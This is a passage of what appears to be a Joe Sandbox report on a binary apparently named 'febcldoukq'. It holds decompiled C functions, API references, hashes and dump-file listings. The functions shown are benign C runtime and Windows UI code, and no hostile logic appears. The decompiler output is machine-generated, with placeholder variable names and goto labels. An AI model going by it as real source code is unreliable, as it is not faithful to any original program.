						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,00B22476,?,00B20F65,00000000,00000000), ref: 00B2242A

Strings

ext-ms-, xrefs: 00B223D4
api-ms-, xrefs: 00B223C0

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f978f5cbcb92852db7598db3b7d92a9f0b921f472228522d1491cedf6b1a9d2b
Instruction ID: 20bca3a75f9962b89177713fba457fb323e98317d7a75726abf922dda2aabd14
Opcode Fuzzy Hash: f978f5cbcb92852db7598db3b7d92a9f0b921f472228522d1491cedf6b1a9d2b
Instruction Fuzzy Hash: FE21D832A00131BBCB21A764BC45A5E37A8EB42760F3541A1ED1AE7390EF74ED01C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 00B21C7C Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E00B21C7C(void* __ecx) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0xb34064 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00B25FC6(_t13,  *0xb34064);
					_t14 = _t23;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						if(_t11 == 0) {
							if(E00B26001(_t14,  *0xb34064, 0xffffffff) != 0) {
								_push(0x28);
								_t27 = E00B20F42();
								_t18 = 1;
								if(_t27 == 0) {
									L8:
									_t11 = 0;
									E00B26001(_t18,  *0xb34064, 0);
								} else {
									_t8 = E00B26001(_t18,  *0xb34064, _t27);
									_pop(_t18);
									if(_t8 != 0) {
										_t11 = _t27;
										_t27 = 0;
									} else {
										goto L8;
									}
								}
								E00B20F4D(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

APIs

GetLastError.KERNEL32(?,?,00B21C73,00B1DD33,00B1D88B), ref: 00B21C8A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B21C98
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B21CB1
SetLastError.KERNEL32(00000000,00B21C73,00B1DD33,00B1D88B), ref: 00B21D03

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e49d0e7973e5607cd1194d9360cff1521c19e60c32be052a62b16fd7662e7219
Instruction ID: e0e8a58acea770c7fdbef8a28e7343c197f1af0ff589fc35bad83ac9b213bd27
Opcode Fuzzy Hash: e49d0e7973e5607cd1194d9360cff1521c19e60c32be052a62b16fd7662e7219
Instruction Fuzzy Hash: 6E0184362493316EE62827BC7DC6A6B27D8DB6177573006BAF6198A0E1EF115C416244

Uniqueness

Uniqueness Score: -1.00%

Function 00B1B420 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00B1B453
DestroyCaret.USER32 ref: 00B1B466
DeleteObject.GDI32 ref: 00B1B48E
CreateBitmap.GDI32 ref: 00B1B63B

Strings

d, xrefs: 00B1B4B7

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: BitmapCaretCreateDeleteDestroyFocusObject
String ID: d
API String ID: 3626877506-2564639436
Opcode ID: 6672da8c189a090c74ca2a8eeacfc38e68ae567af5aa9056ac078de7af9e0132
Instruction ID: e577c7c42e4a704d256124a40bc25d0c300ed9812047f15fda90afdbd29bd023
Opcode Fuzzy Hash: 6672da8c189a090c74ca2a8eeacfc38e68ae567af5aa9056ac078de7af9e0132
Instruction Fuzzy Hash: A571C074A002199FCB04CF58C098EADBBF1FF58315F1584A9E889EB362D735E981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B13370 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

GetDpiForSystem.USER32 ref: 00B133DC
MulDiv.KERNEL32 ref: 00B133F5
GetDpiForSystem.USER32 ref: 00B13406
MulDiv.KERNEL32 ref: 00B1341F

Strings

`, xrefs: 00B13417

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: System
String ID: `
API String ID: 3470857405-2679148245
Opcode ID: 442bc46606c4a8f38fa5dd5347cf70bcb63a8faeb28042979c5bc695e3cdaf26
Instruction ID: b5136b2aa468f68832f29c024c94ac28a8f3000f7144733e7aefb40ba4b259d6
Opcode Fuzzy Hash: 442bc46606c4a8f38fa5dd5347cf70bcb63a8faeb28042979c5bc695e3cdaf26
Instruction Fuzzy Hash: 4B412EB8104209AFD740EF58D598B9ABBE4FB48314F11C45AEC688B362D7BAD948DF41

Uniqueness

Uniqueness Score: -1.00%

Function 00B2001C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E00B2001C(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0xb34050; // 0xbb40e64e
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], 0xb2af36, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0xb37000(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x00b20031
0x00b2003c
0x00b20042
0x00b20046
0x00b20051
0x00b20059
0x00b20063
0x00b20069
0x00b2006d
0x00b20074
0x00b2007a
0x00b2007a
0x00b2006d
0x00b20080
0x00b20085
0x00b20085
0x00b2008e
0x00b20098

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00B2AF36,000000FF,?,00B200E6,00B1FF81,?,00B20182,00000000), ref: 00B20051
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B20063
FreeLibrary.KERNEL32(00000000,?,?,00000000,00B2AF36,000000FF,?,00B200E6,00B1FF81,?,00B20182,00000000), ref: 00B20085

Strings

CorExitProcess, xrefs: 00B2005B
mscoree.dll, xrefs: 00B2004A

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ab66313bc57a6a9d5e748b7cffa3a4f72acfa2e7e6504bd9bd9eec66f18c0bb8
Instruction ID: 359d674de898b580c6d44c77fc354e8855b40164182eff533ca52c60af51ee95
Opcode Fuzzy Hash: ab66313bc57a6a9d5e748b7cffa3a4f72acfa2e7e6504bd9bd9eec66f18c0bb8
Instruction Fuzzy Hash: D8018F71954629ABDB219B54DC09FAFBBF8FB04B11F100679E811A22A0DB789900CA90

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A450 Relevance: 7.5, APIs: 5, Instructions: 47windowclipboardCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32 ref: 00B1A48A
IsClipboardFormatAvailable.USER32 ref: 00B1A49A
EnableMenuItem.USER32 ref: 00B1A4C7
EnableMenuItem.USER32 ref: 00B1A4E6
EnableMenuItem.USER32 ref: 00B1A505

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: EnableItemMenu$AvailableClipboardFormat
String ID:
API String ID: 4217543366-0
Opcode ID: c61c3357539816e2a406996ca59341153eb6c1d00330968bb0ece31a6cabab77
Instruction ID: 4a844c2d417d2b25ff133560e3f31fd65101c68232be0a23b611669948dfd870
Opcode Fuzzy Hash: c61c3357539816e2a406996ca59341153eb6c1d00330968bb0ece31a6cabab77
Instruction Fuzzy Hash: 6911F874604214AFD704EF68D58979EBBE4EB84701F10C82DEC898B354DB75D8488B42

Uniqueness

Uniqueness Score: -1.00%

Function 00B27EA7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E00B27EA7(void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v80;
				void* __ebx;
				void* __ebp;
				void* _t57;
				void* _t58;
				char _t59;
				intOrPtr* _t64;
				void* _t65;
				intOrPtr* _t70;
				void* _t73;
				signed char* _t76;
				intOrPtr* _t79;
				void* _t81;
				signed int _t85;
				signed int _t86;
				signed char _t91;
				signed int _t94;
				void* _t102;
				void* _t107;
				void* _t113;
				void* _t115;

				_t102 = __esi;
				_t93 = __edx;
				_t81 = __ecx;
				_t79 = _a4;
				if( *_t79 == 0x80000003) {
					return _t57;
				} else {
					_push(__esi);
					_push(__edi);
					_t58 = E00B21C6E(_t79, __ecx, __edx, __edi, __esi);
					if( *((intOrPtr*)(_t58 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t102 = _t58;
						if( *((intOrPtr*)(E00B21C6E(_t79, __ecx, __edx, 0, _t102) + 8)) != _t102 &&  *_t79 != 0xe0434f4d &&  *_t79 != 0xe0434352) {
							_t70 = E00B2430E(__edx, 0, _t102, _t79, _a8, _a12, _a16, _a20, _a28, _a32);
							_t113 = _t113 + 0x1c;
							if(_t70 != 0) {
								L16:
								return _t70;
							}
						}
					}
					_t59 = _a20;
					_v24 = _t59;
					_v20 = 0;
					if( *((intOrPtr*)(_t59 + 0xc)) > 0) {
						E00B241BE(_t81,  &_v40,  &_v24, _a24, _a16, _t59, _a28);
						_t94 = _v36;
						_t115 = _t113 + 0x18;
						_t70 = _v40;
						_v16 = _t70;
						_v8 = _t94;
						if(_t94 < _v28) {
							_t85 = _t94 * 0x14;
							_v12 = _t85;
							do {
								_t86 = 5;
								_t73 = memcpy( &_v60,  *((intOrPtr*)( *_t70 + 0x10)) + _t85, _t86 << 2);
								_t115 = _t115 + 0xc;
								if(_v60 <= _t73 && _t73 <= _v56) {
									_t76 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t91 = _t76[4];
									if(_t91 == 0 ||  *((char*)(_t91 + 8)) == 0) {
										if(( *_t76 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00B27E27(_t94, _t79, _a8, _a12, _a16, _a20, _t76, 0,  &_v60, _a28, _a32);
											_t94 = _v8;
											_t115 = _t115 + 0x30;
										}
									}
								}
								_t94 = _t94 + 1;
								_t70 = _v16;
								_t85 = _v12 + 0x14;
								_v8 = _t94;
								_v12 = _t85;
							} while (_t94 < _v28);
						}
						goto L16;
					}
					E00B21BDC(_t79, _t81, _t93, 0, _t102);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_v80 = _v64 + 0xc;
					_t64 = E00B26200(_v68, _v60);
					_t65 =  *_t64(0, _t102, _t113, _t81, _t79, _t107);
					_pop(_t110);
					_t83 = _v60;
					if(_v60 == 0x100) {
						_t83 = 2;
					}
					return E00B26200(_t65, _t83);
				}
			}

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00B27DAD,?,?,00000000,00000000,00000000,?), ref: 00B27ECC
CatchIt.LIBVCRUNTIME ref: 00B27FB2

Strings

RCC, xrefs: 00B27EE6
MOC, xrefs: 00B27EDE

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 30f8db3a817e9b2e16fe87bdbe8ce176b3ecb5ea3df40d020c2c41ca4cf4a67e
Instruction ID: bd4dede3a8b957a8156d572288f01ba81ba09b77f97679863e6f080e84c8ed1d
Opcode Fuzzy Hash: 30f8db3a817e9b2e16fe87bdbe8ce176b3ecb5ea3df40d020c2c41ca4cf4a67e
Instruction Fuzzy Hash: C641AB72908299AFCF15CF98ED81AEEBBF5FF08304F144099F9086B211D7359950CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00B131B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41timewindowCOMMON

Download Yara Rule

APIs

SetTimer.USER32 ref: 00B1322B
PostMessageW.USER32 ref: 00B1325F

Strings

2, xrefs: 00B131BC
2, xrefs: 00B1321B

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: MessagePostTimer
String ID: 2$2
API String ID: 2370412193-3784399050
Opcode ID: de5cfe9618c366143b12fb912eed1631ec9631a71645c47d229303d1474c6411
Instruction ID: e77d7ef33314afc2fd51389d51cb3465ee29213223e31bbf595b1b8aef16f1c1
Opcode Fuzzy Hash: de5cfe9618c366143b12fb912eed1631ec9631a71645c47d229303d1474c6411
Instruction Fuzzy Hash: 641193B4108204EFD700EF5CC188BA97BE0FB04754F85C4A9E88D8B2A1D7B5DA88CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00B26086 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B26086(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E00B24A59(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x00b26093
0x00b2609b
0x00b260d0
0x00b2609d
0x00b260a6
0x00000000
0x00b260cd
0x00b260cc
0x00b260cc

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00B26122,?,?,00000000,?,?,?,00B25F6A,00000000,FlsAlloc,00B2D668,00B2D670), ref: 00B26093
GetLastError.KERNEL32(?,00B26122,?,?,00000000,?,?,?,00B25F6A,00000000,FlsAlloc,00B2D668,00B2D670,?,?,00B21C2A), ref: 00B2609D
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00B21C2A,00B21D0E,00000003,00B2148B,?,?,?,?,00000000,00000000,00000000), ref: 00B260C5

Strings

api-ms-, xrefs: 00B260AA

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 194327323c770686447c94d16317f8330cedfb59b1bc4f5bb238d7fc7e70578c
Instruction ID: 87b37d3a0b8c2b5a66d5d69d40c9327d6a4faacce61c0f0fe377c59020b02b9d
Opcode Fuzzy Hash: 194327323c770686447c94d16317f8330cedfb59b1bc4f5bb238d7fc7e70578c
Instruction Fuzzy Hash: CDE04F30680208B7EB202F65FC46F5D3BACFB01B40F208571F90DA90E1EFA1D8149944

Uniqueness

Uniqueness Score: -1.00%

Function 00B269C1 Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00B269C1(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				char _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				int _t186;
				signed char* _t190;
				signed char _t195;
				intOrPtr _t198;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				char _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed int _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				signed int _t273;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				signed int _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(0xb2af8d);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0xb34050; // 0xbb40e64e
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0xb362e0 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_t186 = GetConsoleOutputCP();
				_t317 =  *((char*)(_t265 + 0x14));
				_v116 = _t186;
				if( *((char*)(_t265 + 0x14)) == 0) {
					E00B21490(_t265, _t317);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0xb362e0 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							_t195 =  *((intOrPtr*)(_t300 + _t273 + 0x2d));
							__eflags = _t195 & 0x00000004;
							if((_t195 & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								_t198 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
								__eflags =  *((intOrPtr*)(_t198 + _t273 * 2)) - _t267;
								if( *((intOrPtr*)(_t198 + _t273 * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									__eflags = _t217 - _v88;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0xb362e0 + _v84 * 4) + _t300 + 0x2d) =  *( *(0xb362e0 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E00B28745(_t273,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										__eflags = _t224 - 0xffffffff;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *((char*)(_t300 + _t273 + 0x2d)) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E00B28745(_t273);
								_t316 = _t315 + 0x10;
								__eflags = _t200 - 0xffffffff;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0xb347b0; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								__eflags = _t281 - _t302;
								if(_t281 > _t302) {
									__eflags = _t302;
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0xb362e0 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									__eflags = _t281 - 4;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E00B28980( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									__eflags = _t238 - 0xffffffff;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										__eflags = _t240;
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0xb347b0)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									__eflags = _t302;
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0xb362e0 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E00B1F6B0( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0xb362e0 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E00B28980( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E00B25A29(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
